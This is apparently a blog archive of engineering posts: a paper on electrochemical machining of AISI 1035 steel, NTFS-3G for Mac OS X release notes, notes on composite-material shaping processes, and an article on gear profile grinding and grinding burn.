Today’s manufacturing industry is facing challenges from advanced difficult- to- machine materials, stringent requirements and machining costs.AISI(American Iron And Steel Institute)1035 is one such material which is very difficult to machine using conventional machine tools because of its hardness values. Also if used ,the wear rate of the tool will be very high. Electrochemical machining (ECM) is one, which has established itself as one of the major alternatives to traditional methods for machining such hard materials and complex contours without the induction of residual stresses and tool wears. Because ECM is a non mechanical machining application, regardless of the mechanical properties, the metals can be machined with high removal rates. In this work, three tools having similar shape but different electrolyte passage arrangements are designed and an experimental investigation has been made on various process parameters involved in the Metal Removal Rate (MRR) using ECM on AISI 1035 steel. From the trial experiments conducted, fractional factorial Design of Experiments (DOE) were made to find the major intervening parameters of ECM with help of SYSTAT 10.2 software. Based on the results about 150 experiments were conducted for various combinations of the controllable intervening parameters. The readings are tabulated and analyzed to determine the values of parameters and electrolyte passage arrangement that favours maximum MRR

INTRODUCTION

The anodic dissolution of metals was already in the previous century. But it was not until the 1960s that it came into use as a practical machining method. The laws governing the process were established by Faraday in 1833. Among non-traditional machining processes, ECM has tremendous potential because of versatility of its applications, and it is expected that it will be a promising, successful, and commercially viable machining process in the modern manufacturing industries. The ECM process was first patented by Gusseff in 1929. Significant advances during the 1950s and 1960s have developed ECM into a major technology in the aircraft and aerospace industries for shaping, finishing, deburring, and milling operations of large parts. ECM was developed initially to machine the hard alloys, although any metal can so be machined. ECM can be applied to any electrically conductive material regardless of its hardness. There is no need to use a tool made of a harder material than the workpiece. The hardness of the workpiece is not a hindrance for the use of ECM to machine them. Further, ECM is an imaging process, where the cathode tool moves with a certain feed rate towards the workpiece and its negative mirror shape is reproduced in the workpiece. (E.g. aerofoil). Recent advances lie in computer - aided tool design, and the use of pulsed power, which led to greater accuracy for ECM produced components.

ECM - WORKING PRINCIPLE

ECM is based on a controlled anodic electrochemical dissolution process of the workpiece (anode) with the tool (cathode) in an electrolytic cell

The electrolyte is forced to flow through the Inter electrode gap (IEG) with high velocity, usually more than 5 m/s, to intensify the mass/charge transfer through the sub layer near anode and to remove the sludge (dissolution products e.g. hydroxides of metal), heat and gas bubbles generated in the gap. In typical manufacturing operations, the tool is fed toward the work piece while maintaining a small gap. When a potential difference is applied across the electrodes, several reactions can occur at the anode and cathode. It’s based on the phenomenon of electrolysis, whose laws were established by Faraday.

Faraday’s two laws electrolysis:

1. The amount of any substance dissolved or deposited is directly proportional to the amount of electricity which has flowed.
2. The amounts of different substances deposited or dissolved by the same quantity of electricity are proportional to their chemical equivalent weights.

Electrolysis is the name given to the chemical process which occurs, when an electric current is passed between two electrodes dipped into a liquid solution. An ammeter, placed in the circuit, will register the flow of current. From this indication, the electric circuit can be determined to be complete. It is clear that the solution obviously has the property that it can conduct electricity. Such a solution is termed as electrolyte. The wires are called electrodes, the one with positive polarity being the anode and the one with negative polarity being the cathode. The system of electrodes and electrolyte is referred to as the electrolytic cell, while the chemical reactions which occur at the electrodes are called the anodic or cathodic reactions. Typical applications of electrolysis are the electroplating and electroforming

processes in which metal coating are deposited upon the surface of a cathode - workpiece densities used are in the order of 10-2 to 10-1 A/cm2 and thickness of the coatings is sometimes more than 1mm.

An example of an anodic dissolution operation is electro polishing. Here the workpiece, which is to be polished, is made as anode in an electrolytic cell. Irregularities on its surface are dissolved preferentially so that, on their removal, the surface become smooth and polished. A typical current density in this operation would 10-1 A/cm2, and polishing is usually achieved on the removal of irregularities as small as 10 um. In both electroplaning and electro polishing, the electrolytic is either in motion at low velocities or unstirred.

ECM is similar to electro polishing where there takes place an electrochemical anodic dissolution process in which a direct current with high density and low voltage is passed between a workpiece and a pre-shaped tool (the cathode). At the anodic surface, metal is dissolved into metallic ions by the depleting reaction, and thus the tool shape is copied into the workpiece.

As shown , the workpiece and tool is respectively the anode and cathode of an electrolytic cell, and a constant potential difference, is applied across them. A suitable electrolyte, for example, aqueous Sodium chloride (table salt) solution, is chosen so that the

cathode shape remains unchanged during electrolysis. The electrolyte is also pumped at a rate
3 to 30 mater/second, through the gap between the electrodes to remove the products of machining and to diminish unwanted effects, such as those that arise with cathode gas generation and electrical heating. The rate at which metal is then removed from the anode is approximately in inverse proportion to the distance the cathode at a typical rate towards the anode, and the gap width along the electrode length will gradually tend to a steady-state value. Under these conditions, a shape, roughly complementary to that of the cathode, will be reproduced on the anode. When a potential difference is applied across the electrodes, several reactions can occur at the anode and cathode.

The result electrolytic dissociation
H2O H+ (OH)- and NaCl Na+ Cl- Negatively charge anions (OH)- and Cl- move towards anode, and positively charge
cations H+ and Na+ move towards cathode. At the anode: Fe Fe++ + 2e
At the cathode: The reaction is likely to be generation of hydrogen gas and the hydroxyl ions

2H2O + 2e H2 + 2OH-
The outcome of these electrochemical reaction is that the metal ions combine with other ions to precipitate out as ferrous hydroxide Fe (OH)2-

The ferrous hydroxide may react further with water and oxygen to form ferric hydroxide

4Fe (OH)2 + 2H2O + O2 4Fe(OH)3
This reaction does not form part of the electrolysis. The salt (for example, NaCl) is not consumed in the electrochemical processes, therefore, for keeping constant concentration of electrolyte, it may be necessary to add more water,
With this metal - electrolyte combination, the electrolysis has involved the dissolution of iron from the anode, and the generation of hydrogen at the cathode. No other actions take at the electrodes.

ADVANTAGES OF ECM

ECM has many advantages when compared to conventional machining.

 The components are not subjected to either thermal mechanical stress.
 There is no significant tool wear during ECM. It can be used indefinitely.

 Initial investment in tooling is high, but the recurring costs are low.
 Non-rigid and open workpieces can be machined easily as there is no contact between the tool and workpiece.

 Complex geometrical shapes can be machined accurately.

 ECM deburring can debur difficult to access areas of parts.
 Fragile parts which cannot take more loads and also brittle material which tend to develop cracks during machining can be machined easily through ECM.

 Surface finishes of 5 µm can be achieved during ECM.

DISAVANTAGES OF ECM

Inspite of its many advantages, ECM has its own disadvantages

 The electrode design is complex and initially expensive
 The cost of the basic equipment is several times that for conventional system and need more floor area for their installation

 Greater machining time
 High specific energy consumption (about 150 times that required for conventional processes)

 Not applicable with electrically non-conducting materials

 Some metal is also dissolved from adjacent areas on the work piece .

APPLICATIONS OF ECM

The industrial sectors utilizing ECM technology fall into six main categories.

1. Tool and Die

2. Automotive

3. Aerospace

4. Power generation

5. Oil and gas industries

6. Medical application

For examples:

 The tight tolerance turbine blades were machined using ECM
 It is mainly used in the manufacture of dies, which is involved in producing plastic components
 ECM provides a high-quality, efficient method for producing turbine wheels with intricate blades.

CONCLUSION:

From the experiments conducted and analysis based on the results obtained, the following conclusions have been arrived.

The value of MRR for all the tools is found to increase with the

 Increase in voltage

 Increase in feed rate

 Increase in current

 Decrease in IEG

 Decrease in flow rate

Among the designed five tools, the spiral inclined tool(Tool)

showed better machining characteristics and favoured maximum MRR for ECM on AISI

1035. Voltage has comparatively less effect on MRR for this tool. The effect of feed rate at
18 V is almost same for the experimental and theoretical values. The response of experimental MRR to change in current is also similar at all voltages. Lower discharges at higher voltages favour MRR. The same pattern almost exists for the theoretical values. It is evident that the band width between the experimental and theoretical values for this tool is very less, showing its better performance. The following are the set of values that favour maximum MRR while ECM on AISI 1035

 Voltage = 18v

 Feed rate = 0.97 mm/min

 IEG = 0.1 mm

 Current = 220 A to 230 A

 Discharge = 9 to 10 lpm

REFERENCES;

1.M.S.Ahmed,A.Duffield,(1989),Deep hole drilling using ECM,Proceedings of the

Non traditional Machining Conference,Orlando,Florido,Oct.30-Nov.2,PP.1_16.
2.M.Datta,D.Landolt,(2000),Fundamental aspects and applications electrochemical microfabrication,Electrochemical Acta 45,2535_2558.

3.M.S.Hewidy(2005),Controlling of metal removal thickness in E.C.M PROCESS

,Journal of mmaterials Processing Technology 109,354-359.

4.T.Masuzava,(2000),State of the art of micromachining, Annals of the CIRP 49 (2),

473-487.

3G for MAC OS

2009-12-10T04:34:00.000-08:00

Features:

* All in the official release notes.

* Simplified install procedure: NTFS-3G now installs MacFUSE (2.0.2/2.0.3) with it, so that users don't have to download two different packages to get read/write NTFS support working.

* New preference pane version, 0.9.8: The user can now choose to always mount (recover) uncleanly unmounted volumes without user confirmation. (Some minor bugfixes also included.)

* The NTFS-3G system preferences are now retained between installs, and limited support for automatically repairing damaged NTFS-3G settings has been added.

* When asking for confirmation before mounting a volume with an unclean log file or a hibernated volume, the dialog informing the user that the mount succeeded has been removed.

* The 'stable' and 'ublio' labels are dropped. We now have a 'standard' build, and a 'legacy' build in case anyone is still interested in the limited feature set of the old 'stable' build. The 'legacy' build will probably be removed in the future, unless anyone has a good reason that it should be kept maintained.

Download:

* NTFS-3G 2009.4.4
* NTFS-3G 2009.4.4 (legacy build)
Certain patches such as the caching layer are omitted in this build.

System requirements:

* Mac OS X 10.4/10.5, running on an Intel or PowerPC computer.

The package has been tested with Mac OS X 10.4.11/Intel and Mac OS X 10.5.6/Intel.
NTFS-3G includes and depends on MacFUSE.

Information on how to install and use NTFS-3G for Mac OS X can be found in the User Guide.
If you are having problems with NTFS-3G, write a forum post about it in the NTFS-3G Forum (or post a question as a blog comment if you're just unsure of how things work).

Packaging, patching, Mac OS X-related development and testing is done in the context of my development efforts with the Catacombae projects.

Known issues:

* After installing ntfs-3g, all NTFS drives will disappear from the "Startup Disk" preference pane. Disabling or uninstalling ntfs-3g brings them back. It seems that this issue can't be solved, but only worked around since the Startup Disk preference pane doesn't recognize file system drivers that are not provided by Apple.
Possible workarounds:
o Holding down the Option key during boot (or Alt for non-Apple keyboards).

o Intel users only: Install the rEFIt boot manager for better control of the boot process.

o Using the command line utility bless (see man bless for more information)

COMPOSITE MATERIALS

2009-11-27T07:55:00.000-08:00

COMPOSITE MATERIALS
Introduction
Composite materials are polymers that have been reinforced with organic or in-organic fiber materials
(Fiber-reinforced polymers, FRPs). The principal advantage of these materials is the very high strength-toweight
ratio, which makes them attractive in aircrafts, spacecrafts, cars, boats, and sport equipment.
Gates-Piaggio aircraft is an
example of the use of composite
materials in aircraft industry
Starting materials
Fiber-reinforced polymers consist of two components, polymer matrix and reinforced phase. They are
produced separately before being combined to make the composite part.
Polymer
matrix
Reinforced
phase
Structure of a fiber-reinforced composite material
Thermoplastics, thermosets or elastomers are used for the polymer matrix. Thermosetting polymers are
the most common matrix materials, especially epoxies.
Reinforcing components are fibers, cloth (fabrics), and mat of glass, boron, carbon (graphite), polymers.
Thread
Fiber
Cloth Mat
Materials used as reinforcing phase in fiber-reinforced composite materials
62 Composite Materials Valery Marinov, Manufacturing Technology
Fibers are used in some fabrication processes in a continuous form, known as roving, which is a
collection of untwisted continuous threads. Each thread consists of 1000~30 000 single fibers.
Cloth is a fabric of woven yearns. Some special cloths can consists of different fibers, for example
carbon + glass fibers:
Mat is a material that consists of randomly oriented short fibers.
In some applications, raw materials are combined prior to the shaping operations (the resulting material
is known as a prepreg). The typical thickness of the prepreg is 0.125 mm with 34% polymer resin. The
prepreg is available as strip with width 300, 500, or 1000 mm and length 50 or 100 m.
Glass fibers
Carbon fibers
Carbon-glass fibers cloth
PVC film
Polymer
matrix
Fibers, cloth or mat
The structure of prepreg
Shaping processes
Open mold process
This process uses a single positive or negative mold surface. The starting materials are applied to the
mold in layers, building up to the desired thickness. Next follows curing and after that part is removed
from the mold. Different open-mold processes were developed depending on the way the raw material is
applied to the mold. The oldest one is a hand Lay-up Process:
Valery Marinov, Manufacturing Technology Composite Materials 63
The entire lay-up process is both time-consuming and labor-intensive.
(Left) Adding successive layers of resin and glass cloth in a hand lay-up process for producing a boat hull
(Right) Finishing the fiberglass reinforced boat hull
Other open mold processes include automated tape-laying machines, spray-up process, etc.
Closed mold processes
In these processes, molds consist of two sections that open and close during each molding cycle.
In compression molding processes, starting materials are placed in the lower mold section, and the
mold is closed under pressure. Next, the mold is heated to cure the polymer matrix. After curing, the
mold is opened and the part is removed. Different compression molding processes were developed for
different starting materials.
Compression molding of a thermoplastic sheet Pick-and-place machine used in resin-transfer molding to
automatically cut to shape and stack in position the carbon
fabric plies
In Resin Transfer Molding (RTM), the resin is injected into fiber preforms enclosed in heated mold
cavities. In advanced RTM instead of cloth or math continuous fiber reinforcement is used. Material is
sintered before with powdered binder material and send to the pick-and-place machine where it is cut to
shape and stacked in position. The preforms are then combined with tooling, heated, and the resin is
injected. After cooling, parts are cleaned and trimmed.
64 Composite Materials Valery Marinov, Manufacturing Technology
Injection molding process can also be adapted to FRPs to produce low-cost parts in large quantities.
Filament winding
In this process, resin-impregnated fibers are wrapped around a rotating mandrel that has the internal
shape of the desired FRP part:
Wet filament winding
Fiber can be impregnated just prior to winding pulling them through the liquid resin (wet winding).
In prepreg winding, the filament band is used instead of fibers. It is possible also the filament to be
impregnated after the winding by brushing or other techniques (postimpregnation).
Filament winding machine
Pultrusion process
The process is similar to extrusion, but it involves pulling of the workpiece. Pultrusion process is used
to produce simple shapes of uniform cross section, such as round, rectangular, tubular, and structural
products. The bundles of fibers are drawn through a bath of polymer resin and then gathered to produce
a desired cross-sectional product. The material is then drawn through one or more heated dies for
further shaping and curing. After cooling, material is cut to length.
Resin bath
Forming
die
Heated
die or
curing
oven
Reinforced fibers
Schematic diagram of the pultrusion process

OPTIMIZATION OF THE GEAR PROFILE GRINDING PROCESS UTILISING AN ANALOGY PROCESS

2009-11-27T07:41:00.000-08:00

ABSTRACT
The requirements for transmission gears have continuously increased in past years, leading to the necessity for improvements in manufacturing processes. On the one hand, the material strength is increasing, while on the other there is a demand for higher manufacturing quality. For those reasons, increasing numbers of gears have to be hard-finished.
The appearance of grinding burn in gear profile grinding, especially when using dressable grinding wheels, seemed to increase over the past years. As we know, grinding burn reduces the load-carrying capacity of gears tremendously. Conversely, costs need to be cut in order to assure a company’s competitive position in the global market. And yet, reducing the machining times in gear grinding still increases the risk of producing grinding burn.
In order to grind gears burn-free and as productively as possible, a better understanding of the process is required. This is especially important for gear profile grinding, due to the complex contact conditions between workpiece and grinding wheel .In this article, an analogy process and a process model will be presented in order to gain a closer look into the process. Finally, different process strategies will be analyzed using the presented process model in order to give examples for the use of the described calculations.

INTRODUCTION
Discontinuous gear profile grinding is commonly used in the manufacture of large-module gears. And because the batch sizes are typically small to medium, the process must be highly flexible. In order to achieve this flexibility, dressable—rather than CBN-plated—grinding wheels can be applied. But in using these tools, the process robustness can be compromised by local structural damage—such as grinding burn—to the external zone.
In tooth-flank profile grinding, due to the variation of contact conditions along the profile between grinding wheel and tooth flank, process optimization is difficult. And in comparison with other grinding processes, these conditions clearly lead to varying grinding conditions along the profile. Examination of the complex geometrical and contact conditions requires fundamental technological investigations in an analogy process. In this way, the relationship between various material removal conditions can be investigated as functions of the machining parameters and grinding wheel specifications.
The purpose of this article is to develop a better process understanding in order to use new potentials for process optimization. The knowledge gained in the analogy process is the basis for a new mathematical model, allowing that understanding to be transferred to the real process. Finally, a process optimization for gear profile grinding using this mathematical model will be presented.
LOCAL STOCK REMOVAL AND GRINDING BURN IN GEAR PROFILE GRINDING
Local grinding conditions along the profile in gear profile grinding. Basically, there are two process strategies that are commonly used for gear profile grinding in industrial practice. The left side of Figure 1 shows a grinding process with the removal of an equidistant stock along the profile. These are typical contact conditions occurring in single-flank grinding, with an in-feed realized by a rotation of the workpiece .

Figure 1—-Local stock removal depending on the process strategy.
The right side of Figure 1 shows the removal of a constant stock in the radial direction, realized by a radial infeed of the grinding wheel in multiple steps. This is the process strategy most commonly used in industrial practice. It is obvious that the initial stock removal is not constant along the profile. In the first cut, stock is removed in the area of the root flank only. With further infeed, the area of stock removal is increasing. The whole stock in the tooth root is removed in the last cut only.
Appearance of grinding burn in gear profile grinding. Typically, grinding burn appears only locally along the tooth profile in gear profile grinding. This is due to either the chosen process strategy or heat distortions and centering defaults. In this article, two examples of local grinding burn—dependent upon the process strategy—will be shown. For these trials, a typical truck gear from the case-hardened steel 20MnCr5E has been ground using a dressable, white corundum grinding wheel and using different process strategies. The tooth gaps have all been pre-ground in order to remove the influence of heat distortions and to ensure a constant stock removal in either infeed or equidistant direction.
The results for a radial infeed of the grinding wheel without grinding the tooth root are shown in Figure 2. In the trials, a variation of the specific stock removal rate Q'w has been realized by a variation of the axial feed speed fa. The picture in the lower left shows the tooth flanks after nital etching. It is readily apparent that the grinding burn appears only in the area of the tip flank.

Figure 2—-Typical grinding burn for radial infeed of the grinding wheel.
Additionally, technological trials have been conducted with a constant stock removal along the gear tooth profile (see results in Figure 3). The specific stock removal rate Q'w varies in this operation along the tooth profile. The values shown in the chart are calculated at the indexing diameter in order to be comparable to the previous results. The picture in the lower-left corner shows the gear after nital etching, and the tempered zone has moved from tip flank to root flank. Again, this is a typical phenomenon for this process strategy of removing a constant stock along the profile.

Figure 3—-Typical grinding burn for equidistant infeed of the grinding wheel.
These results show that process strategy greatly influences local grinding conditions and, in turn, the area where grinding burn can appear. But why this area in particular shows thermal damage from grinding burn is not obvious. As the diagrams showing the specific spindle power P'c clearly reveal, the grinding burn nearly always appears before the spindle power shows a disproportionate increase.
ANALOGY PROCESS for Gear Profile Grinding
The main difference between gear profile grinding and standard grinding is the varying profile angle φ along the tooth flank. Investigations of gear profile grinding can only show total effects over the whole profile height and varying grinding conditions. This is a major reason why it is difficult to find out what leads to grinding burn occurring only locally on the tooth flank.
In order to investigate the technological conditions separately along the tooth flank, an analogy process has been developed at the WZL laboratory at RWTH Aachen University. The basic setup of this analogy process is shown in Figure 4. The left picture shows the varying contact conditions along the tooth flank for a radial infeed of the grinding wheel into a pre-ground tooth gap. The radial infeed ae is constant along the profile height, while the stock in normal directions varies with the local profile angle φ.

Figure 4—-Analogy process for gear profile grinding.
On the right side of Figure 4, the analogy process is shown. The local contact conditions, infeed ae, stock Δs and profile angle φ of one position of the gear tooth profile are transferred to the grinding of a rectangular workpiece. In this way, all possible grinding conditions occurring along the profile can be examined separately.
The first trials using the analogy process have been carried out using a corundum-white grinding wheel, commonly used in industrial practice for gear profile grinding. The machining parameters have also been adjusted to those common in gear profile grinding. The trials were conducted on a Kapp VAS55P gear grinding machine in order to keep the pre-conditions in the analogy process as close to gear profile grinding as possible.
The workpieces are rectangular parts of the case-hardened steel 16MnCr5E, with a hardening depth of 0.9 mm. In the trials, a maximum total stock of Δs = 0.4 mm was removed in the grinding process. The hardness of 61 HRC was nearly constant from the surface to this depth. The workpieces were also ground before the trials in order to assure a constant surface quality and to remove the distortions from heat treatment. The material structure, the hardness and the residual stress profile., the grinding forces in the normal direction (Fn) and in the tangential direction (Ft)—depending on the stock removal for different profile angles and a constant stock of Δs = 0.2 mm—are shown. It is obvious that, with a smaller profile angle, grinding forces increase and the possible stock removal is significantly lower. Especially in the steep areas, with a profile angle of φ = 2°, the initial grinding force is very high, and it increases rapidly, indicating that there is high wear of the grinding wheel.

However, for a large profile angle of φ = 30°, there is hardly any increase of the grinding forces with the stock removal. Thus, hardly any wear of the grinding wheel occurs. It can therefore be stated that the larger the local profile angle, the more material can be removed before a dressing operation of the grinding wheel is needed.
A reason for the tendency of the grinding wheel to wear earlier with a smaller profile angle can be attributed to the increasing contact length caused by a decreasing profile angle. The dependency of the grinding forces on the removed stock Δs is shown in Figure 7. The grinding forces in the tangential direction (Ft) and the direction normal to the surface (Fn) are displayed, depending on the stock removal for different Δs and a profile angle of φ = 10°. The grinding forces increase with the stock Δs, especially the maximum stock removal, until the super-proportional increase of grinding forces begins lowering significantly.

The results in the analogy process provide a better understanding of the effects occurring in gear profile grinding. It has been shown that gear geometries with a rather small profile angle lead to high grinding forces and to increased wear of the grinding wheel. And yet, it is rather difficult to transfer the results to the gear profile grinding process directly. At this point, one must analyze the local grinding conditions along the profile and attempt to find similar conditions in the analogy process. In order to more easily compare the profile grinding process to the analogy process, developing a process model is required. The model that has been developed is explained below.
Transfer of the Analogy Results to the Real Process of Gear Profile Grinding
Development of an empirical process model. As a first approach to the technological description of profile grinding processes, an empirical process model was developed to allow application of the results from the analogy process to profile grinding. In the analogy process, a large number of trials with profile angles varying from φ = 2° to φ = 90°, and a stock varying from Δs = 0.05 mm to Δs = 0.4 mm, were conducted. A function was chosen as an approach in order to calculate the grinding forces in profile grinding, based on the results of the analogy process. The coefficients were determined using the least-squares method. Grinding forces for conditions within the parameters tested in the analogy process are calculated using linear interpolation.

The graphs show the correlation between the measured value and the calculated value for all three grinding forces in the different coordinate directions. A perfect result would be gained if all points were on the 45° line, meaning that the measured values are exactly the same as the calculated values. In this case, the graph shows quite clearly that the points are very close to this line, and that there is a very good correlation between the measured and calculated values. Additionally, the stability index amounts to values between r² = 0.93 for the tangential grinding force, and r² = 0.98 for the grinding force in the direction of the x-axis—a good result in this case.
Calculation of local grinding forces in gear profile grinding. For the transfer of these results to the profile grinding process, a typical spur pinion with a gear geometry of the FZG-C gear was chosen. It has z = 16 teeth; a module of mn = 4.5 mm; a pressure angle of an = 20°; and an outside diameter of da = 82.638 mm. The grinding wheel diameter used to calculate the geometrical contact length lg is ds = 200 mm.
As a good first example, a grinding process with a constant stock Δs along the profile was chosen. This is a typical process occurring in single-flank grinding with an in-feed realized by the rotation of the workpiece. The stock amounts to Δs = 0.1 mm constantly along the profile geometry. The radial infeed ae differs along the tooth flank due to the changing profile angle φ. It amounts to a maximum of ae max = 1.239 mm in the area of the minimum profile angle φmin ˜ 3° on the root flank. The distribution of the stock and the profile angle versus the local radius is shown in the upper diagram of Figure 9.

Local contact conditions in gear profile grinding with a constant stock Δs along the profile.
The lower diagram shows the calculated geometrical contact length along the profile, which varies from lg = 4 mm in the tooth root, lg max = 16 mm on the root flank, and lg = 5 mm in the tip flank area. The stock removal related to the length of the considered contour element amounts to a constant value of Vw/ld = 2 mm³/mm along the profile. So it can be concluded that, using this process strategy, the extreme values for the infeed ae, as well as for the contact length lg, can be found in the area of the root flank below the root form radius.
The grinding forces have been calculated for grinding 1, 16, 50 and 100 gaps. Even though the workpiece does not have more than 16 gaps, these calculations make sense in order to show the behavior of the grinding forces after a high stock removal, which can occur when grinding a similar gear with a much larger face width.
By knowing the local contact conditions, it is now possible to apply the results gained from the analogy trials to the gear profile grinding process. The first step is to transfer the analogy trials’ contact conditions to each point of the gear profile. These calculated contact conditions are shown in Figure 10.

Transference of the analogy results to gear profile grinding.
The different curves showing the tangential grinding forces versus the stock removal are representative of contact conditions occurring in the gear profile grinding process. The x-axis has a second label indicating the number of gaps being ground after removing a certain amount of stock. This method is rather time consuming, and it is only possible to determine the grinding forces in areas of the profile, i.e., where the contact conditions (stock Δs and profile angle φ) are known from the analogy process. Therefore, the calculations of the local contact conditions are used in order to calculate local grinding forces, as opposed to using the process model. The results of the calculations of the tangential grinding forces related to the contour length of ld = 1 mm versus the workpiece radius are shown in Figure 11.

Local grinding forces when removing a constant stock Δs along the profile.
Those results show that the lowest grinding forces of Ft min/ld = 1.2 N/mm can be found in the area of the largest profile angle, which is the tooth root. Along the profile geometry, the grinding forces are increasing up to a maximum of Ft max/ld = 2.3 N/mm in the area of the root flank just below the root form radius, where the minimum profile angle φmin is found. The grinding forces are then observed decreasing again, to Ft/ld = 1.5 N/mm in the area of the tip flank with a rather high profile angle. Furthermore, these calculations show that the grinding forces are increasing most when machining multiple gaps in the area with the maximum grinding forces. In this area, initial grinding burn can be expected for this process strategy. This has already been shown by Schlattmeier (Ref. 2).
The most common process strategy in industrial practice is the radial infeed of the grinding wheel. In this case, the local stock Δs varies along the profile geometry. For typical trials, as well as for these calculations, a pre-ground gap is used in order to make sure that infeed ae is constant along the profile. The important geometric values for a radial in-feed of ae = 0.235 mm versus the workpiece radius are shown in Figure 12.

Local grinding conditions for a radial infeed of the grinding wheel.
The local stock shows a maximum of Δsmax = 0.235 mm = ae in the area of the tooth root, and lowers to a minimum short below the root form diameter of Δsmin = 0.02 mm. Towards the tip flank, it increases again—to a local maximum of Δs = 0.2 mm. The contact length lg is constant along the profile, but the oriented stock removal shows an absolute maximum in the tooth root, a minimum short below the root form radius, and a local maximum in the area of the tip flank.
With this data, it is now possible to calculate the local grinding forces along the gear profile geometry. The calculations of the tangential grinding forces Ft versus the workpiece radius are shown in Figure 13.

Tangential grinding forces for a radial infeed of the grinding wheel.
The grinding force Ft shows a maximum in the tooth root and a minimum in the area of the root flank, just below the root form radius. Another local maximum can be observed in the area of the tip flank. After grinding multiple gaps in the area of the minimum forces, there is hardly any increase. But in the areas of the tooth root and the tip flank, grinding forces are increasing with the number of ground gaps. Increased grinding wheel wear can be expected, and grinding burn is most likely to occur in these areas.
With these calculations, it is known that in the areas found to be critical, grinding burn occurs when using a radial infeed strategy in gear profile grinding .When grinding the gear with a radial infeed including the tooth root, a grinding burn occurs mostly at the tooth root. When grinding the gear with a radial infeed without the tooth root, the grinding burn is most likely to occur at the tip flank. These are the areas where, based on these calculations, the maximum grinding forces can be found.
Evaluation of Process Strategies Using the Process Model
Following is an example for the evaluation of process strategies, using the empirical process model to calculate local grinding forces. Grinding forces are calculated not only for one grinding step, but also for an infeed strategy using multiple steps, including deviations from the desired shape that can be due, for example, to centering deviations. It is only necessary to be able to calculate the local stock removed in the evaluated cut, as well as in the local profile angle. An example of this using the grinding of a test gear will be simulated with three radial infeed steps of 0.2 mm each. This means that the first cut takes place at a center distance between grinding wheel and gear which is increased by 0.4 mm, compared to the final center distance creating the final contour.
In Figure 14, the local stock in the direction normal to the tooth flank Δs and the stock in infeed direction ae are shown. In the first grinding step, material is removed from the gear flank only in the area of the root flank. In the infeed direction, the infeed into the material is up to ae = 1.0 mm, which means that a stock in normal direction of Δs = 0.13 mm is removed. The result is that, in the area of the root flank, nearly all the stock is removed by completion of the first step. In the last step, material is removed along the whole profile, and the radial infeed amounts to ae = 0.2 mm.

Local stock removal in infeed direction ae and normal to the profile Δs.
This is because the whole profile height has been ground in the second step. In the area of the root flank, only a very small amount of stock is removed in the normal direction. While in the area of the root and tip flanks, nearly all stock is removed in the last cut.
The resulting grinding forces for these contact conditions are shown in Figure 15. The upper diagram shows the grinding forces in cutting and normal direction for the first cut. The drawn-through lines show the grinding forces when grinding the first gap with a newly-dressed grinding wheel. The broken lines show the grinding forces for grinding the sixteenth and last gap in order to gain an impression of the development of the grinding forces with the set-in time of the grinding wheel.

Tangential grinding forces for a radial infeed of the grinding wheel.
In the area of the root flank, very high local grinding forces can be seen, and those forces are increasing quite a lot with an increasing stock removal. This means that this area is susceptible to grinding burn in the first grinding step. To reduce that burn risk, the center distance between the grinding wheel and the workpiece must be increased. However, this will require more cuts and thus increase the manufacturing time on the machine tremendously.
In the last grinding step, the grinding forces are smaller than in the first. There is also a smaller increase of those forces, with an observed increase of material removal. It is nevertheless apparent that the grinding forces are increasing towards the tip flank and the tooth root. This means that these areas are very sensitive to grinding burn when using an infeed strategy for a radial infeed of the grinding wheel. These areas are known to be most critical towards grinding burn, which can be seen in the grinding forces (Ref. 2).
It can thus be concluded that the areas most critical to grinding burn can be evaluated by a calculation of the local grinding forces. While the area of the root flank is most susceptible to grinding burn occurring in the first grinding step, the areas of the tooth root and the tip flank are most susceptible for burn in the last grinding step. Using this calculation of the grinding forces, it can be evaluated qualitatively how critical a gear geometry is in relation to grinding burn towards another, and if the chosen infeed strategy is critical as well.
Summary and Outlook
Gear profile grinding, especially using dressable grinding wheels, is a process rather sensitive to grinding burn. It therefore is important to understand the process well in order to either prevent grinding burn or, at minimum, if a grinding burn appears, to be able to change the process in a way that prevents it. This is especially important since grinding burn reduces the hardness of the external layer, and leads to tensile stresses which reduce the load-carrying capacity of the gear, thereby making gear failures more likely.
The main consideration when trying to better understand the process of gear profile grinding is the constantly changing contact conditions along the profile. In real process trials, only effects resulting from all those contact conditions along the profile can be observed. And since grinding burn, in most cases, occurs only locally, the effect on values like grinding power or grinding forces often cannot be seen initially.
In order to attain better knowledge of the effect of local grinding conditions on the process behavior, an analogy process was established to analyze them.
Rectangular workpieces were ground in a clamping fixture that can be turned in order to set the different profile angles occurring on a tooth flank. Particularly in this analogy process, grinding forces have been measured. The results reveal that grinding steep profile angles leads to a high risk of grinding burn, which can be due to the increasing contact length, and, in turn, can lead to a higher amount of energy conducted into the workpiece. The main goal of these tests is to facilitate an understanding of the real-time process.
Since the amount of heat conducted into the material is proportional to the cutting force, a process model has in fact been developed for calculation of local grinding forces. This model enables calculation of local grinding forces, provided local contact conditions and the set-in time of the grinding wheel are known.
With the aid of this process model and CASTOR software (with the ability to simulate different gear finishing processes), various process strategies in gear profile grinding can be considered and analyzed. Calculations show that in a radial infeed strategy of the grinding wheel in the first cut, maximum forces are calculated in the root flank area. In the last cut, the maximum is calculated in the tooth root and the tip flank—areas known to be most exposed to grinding burn. With these calculations, the reasons for this exposure can be demonstrated. They also demonstrate that for the removal of an equidistant stock along the profile, the maximum forces can be observed in the area of the root flank. This is also the area known from the real process of gear profile grinding to be most sensitive to grinding burn.
In order to evaluate the risk of grinding burn, both qualitatively and quantitatively, future research must focus on developing a specific value. Since the level of grinding forces observed depends very much on the ground profile angle, the goal in developing a specific value is finding a limit where, if the value exceeds the limit, grinding burn can be observed independent of the contact conditions.
References
1. Posa, J. “Barkhausen Noise Measurement in Quality Control and Grinding Process Optimiza- tion in Small-Batch, Carburized-Steel Gear Grinding,” Proceedings of the 3rd International Conference on Barkhausen Noise and Micro-magnetic Testing, July 2–3, 2001, Tampere, Finland.
2. Schlattmeier, H. “Diskontinuierliches Zahn-flankenprofilschleifen mit Korund,” Dissertation, RWTH Aachen, 2003.
3. Klocke, F. and C. Gorgels. “Ansätze zur Entwicklung eines Schleifbrandkennwertes für das Zahnflankenprofilschleifen,” Proceedings of the 46th Conference on Gear and Transmission Research. WZL, RWTH Aachen University, 2005.
4. Klocke, F. and H. Schlattmeier. “Surface Damage Caused by Gear Profile Grinding and Its Effects on Flank Load-carrying Capacity,” Gear Technology, September/October 2004, pp. 44–53.

SIX STROKE ENGINE

2009-11-27T07:40:00.000-08:00

